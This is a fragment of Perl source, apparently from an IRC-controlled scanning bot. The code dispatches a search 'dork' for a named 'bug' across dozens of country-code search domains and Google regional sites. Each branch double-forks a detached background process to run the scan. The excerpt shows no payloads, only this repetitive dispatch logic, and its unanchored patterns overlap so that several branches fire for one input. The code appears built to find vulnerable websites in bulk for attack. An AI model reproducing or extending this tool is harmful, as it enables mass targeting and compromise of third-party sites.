  718.     if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DO",$type); } exit; } }
  719.     if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EC",$type); } exit; } }
  720.     if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EG",$type); } exit; } }
  721.     if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SV",$type); } exit; } }
  722.     if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EE",$type); } exit; } }
  723.     if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ET",$type); } exit; } }
  724.     if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FJ",$type); } exit; } }
  725.     if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FI",$type); } exit; } }
  726.     if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GM",$type); } exit; } }
  727.     if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GI",$type); } exit; } }
  728.     if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GR",$type); } exit; } }
  729.     if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GL",$type); } exit; } }
  730.     if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GT",$type); } exit; } }
  731.     if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GG",$type); } exit; } }
  732.     if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HT",$type); } exit; } }
  733.     if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HN",$type); } exit; } }
  734.     if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HK",$type); } exit; } }
  735.     if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IS",$type); } exit; } }
  736.     if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IE",$type); } exit; } }
  737.     if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IM",$type); } exit; } }
  738.     if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JE",$type); } exit; } }
  739.     if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JO",$type); } exit; } }
  740.     if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KZ",$type); } exit; } }
  741.     if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KE",$type); } exit; } }
  742.     if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KG",$type); } exit; } }
  743.     if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LV",$type); } exit; } }
  744.     if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LS",$type); } exit; } }
  745.     if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LY",$type); } exit; } }
  746.     if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LI",$type); } exit; } }
  747.     if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LT",$type); } exit; } }
  748.     if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LU",$type); } exit; } }
  749.     if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MW",$type); } exit; } }
  750.     if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MT",$type); } exit; } }
  751.     if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MU",$type); } exit; } }
  752.     if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FM",$type); } exit; } }
  753.     if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MN",$type); } exit; } }
  754.     if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MS",$type); } exit; } }
  755.     if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MA",$type); } exit; } }
  756.     if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NA",$type); } exit; } }
  757.     if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NP",$type); } exit; } }
  758.     if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NZ",$type); } exit; } }
  759.     if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NI",$type); } exit; } }
  760.     if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NF",$type); } exit; } }
  761.     if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NO",$type); } exit; } }
  762.     if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OM",$type); } exit; } }
  763.     if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PK",$type); } exit; } }
  764.     if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PA",$type); } exit; } }
  765.     if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PY",$type); } exit; } }
  766.     if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PE",$type); } exit; } }
  767.     if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PN",$type); } exit; } }
  768.     if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PT",$type); } exit; } }
  769.     if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PR",$type); } exit; } }
  770.     if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QA",$type); } exit; } }
  771.     if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RW",$type); } exit; } }
  772.     if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SH",$type); } exit; } }
  773.     if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SM",$type); } exit; } }
  774.     if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SA",$type); } exit; } }
  775.     if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SN",$type); } exit; } }
  776.     if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SC",$type); } exit; } }
  777.     if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SG",$type); } exit; } }
  778.     if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SK",$type); } exit; } }
  779.     if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZA",$type); } exit; } }
  780.     if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LK",$type); } exit; } }
  781.     if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VC",$type); } exit; } }
  782.     if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SE",$type); } exit; } }
  783.     if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CH",$type); } exit; } }
  784.     if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TW",$type); } exit; } }
  785.     if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TJ",$type); } exit; } }
  786.     if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BS",$type); } exit; } }
  787.     if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TO",$type); } exit; } }
  788.     if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TT",$type); } exit; } }
  789.     if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TR",$type); } exit; } }
  790.     if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TM",$type); } exit; } }
  791.     if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VI",$type); } exit; } }
  792.     if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UG",$type); } exit; } }
  793.     if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UY",$type); } exit; } }
  794.     if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type); } exit; } }
  795.     if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VE",$type); } exit; } }
  796.     if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VN",$type); } exit; } }
  797.     if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZM",$type); } exit; } }
  798.     if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MUSEUM",$type); } exit; } }
  799.     if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WS",$type); } exit; } }
  800.     if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AF",$type); } exit; } }
  801.     if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AX",$type); } exit; } }
  802.     if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AL",$type); } exit; } }
  803.     if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DZ",$type); } exit; } }
  804.     if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AO",$type); } exit; } }
  805.     if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AQ",$type); } exit; } }
  806.     if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AM",$type); } exit; } }
  807.     if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AW",$type); } exit; } }
  808.     if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AC",$type); } exit; } }
  809.     if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BJ",$type); } exit; } }
  810.     if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BM",$type); } exit; } }
  811.     if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BT",$type); } exit; } }
  812.     if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IO",$type); } exit; } }
  813.     if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BN",$type); } exit; } }
  814.     if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BF",$type); } exit; } }
  815.     if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KH",$type); } exit; } }
  816.     if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CM",$type); } exit; } }
  817.     if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CV",$type); } exit; } }
  818.     if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KY",$type); } exit; } }
  819.     if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CF",$type); } exit; } }
  820.     if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CX",$type); } exit; } }
  821.     if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CW",$type); } exit; } }
  822.     if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CY",$type); } exit; } }
  823.     if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FK",$type); } exit; } }
  824.     if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FO",$type); } exit; } }
  825.     if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GH",$type); } exit; } }
  826.     if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GD",$type); } exit; } }
  827.     if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GP",$type); } exit; } }
  828.     if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GU",$type); } exit; } }
  829.     if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GN",$type); } exit; } }
  830.     if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GY",$type); } exit; } }
  831.     if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HM",$type); } exit; } }
  832.     if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IQ",$type); } exit; } }
  833.     if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JM",$type); } exit; } }
  834.     if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KI",$type); } exit; } }
  835.     if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KW",$type); } exit; } }
  836.     if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LA",$type); } exit; } }
  837.     if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LB",$type); } exit; } }
  838.     if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LR",$type); } exit; } }
  839.     if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MO",$type); } exit; } }
  840.     if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MG",$type); } exit; } }
  841.     if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MV",$type); } exit; } }
  842.     if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MP",$type); } exit; } }
  843.     if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MQ",$type); } exit; } }
  844.     if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MR",$type); } exit; } }
  845.     if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YT",$type); } exit; } }
  846.     if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MD",$type); } exit; } }
  847.     if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MC",$type); } exit; } }
  848.     if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ME",$type); } exit; } }
  849.     if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MZ",$type); } exit; } }
  850.     if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NR",$type); } exit; } }
  851.     if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NC",$type); } exit; } }
  852.     if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NG",$type); } exit; } }
  853.     if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NU",$type); } exit; } }
  854.     if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PW",$type); } exit; } }
  855.     if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PS",$type); } exit; } }
  856.     if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CQ",$type); } exit; } }
  857.     if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RE",$type); } exit; } }
  858.     if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LC",$type); } exit; } }
  859.     if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PM",$type); } exit; } }
  860.     if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ST",$type); } exit; } }
  861.     if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RS",$type); } exit; } }
  862.     if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GS",$type); } exit; } }
  863.     if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SL",$type); } exit; } }
  864.     if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SX",$type); } exit; } }
  865.     if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SB",$type); } exit; } }
  866.     if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SO",$type); } exit; } }
  867.     if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SU",$type); } exit; } }
  868.     if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KN",$type); } exit; } }
  869.     if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SR",$type); } exit; } }
  870.     if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TZ",$type); } exit; } }
  871.     if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TL",$type); } exit; } }
  872.     if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TG",$type); } exit; } }
  873.     if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TK",$type); } exit; } }
  874.     if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TN",$type); } exit; } }
  875.     if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TC",$type); } exit; } }
  876.     if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VU",$type); } exit; } }
  877.     if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WF",$type); } exit; } }
  878.     if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YE",$type); } exit; } }
  879.     if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZW",$type); } exit; } }
  880.     if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; } }
  881.     if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type); } exit; } }
  882.     if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type); } exit; } }
  883.     if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type); } exit; } }
  884.     if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type); } exit; } }
  885.     if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type); } exit; } }
  886.     if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type); } exit; } }
  887.     if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type); } exit; } }
  888.     if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type); } exit; } }
  889.     if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type); } exit; } }
  890.     if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type); } exit; } }
  891.     if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type); } exit; } }
  892.     if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type); } exit; } }
  893.     if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type); } exit; } }
  894.     if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type); } exit; } }
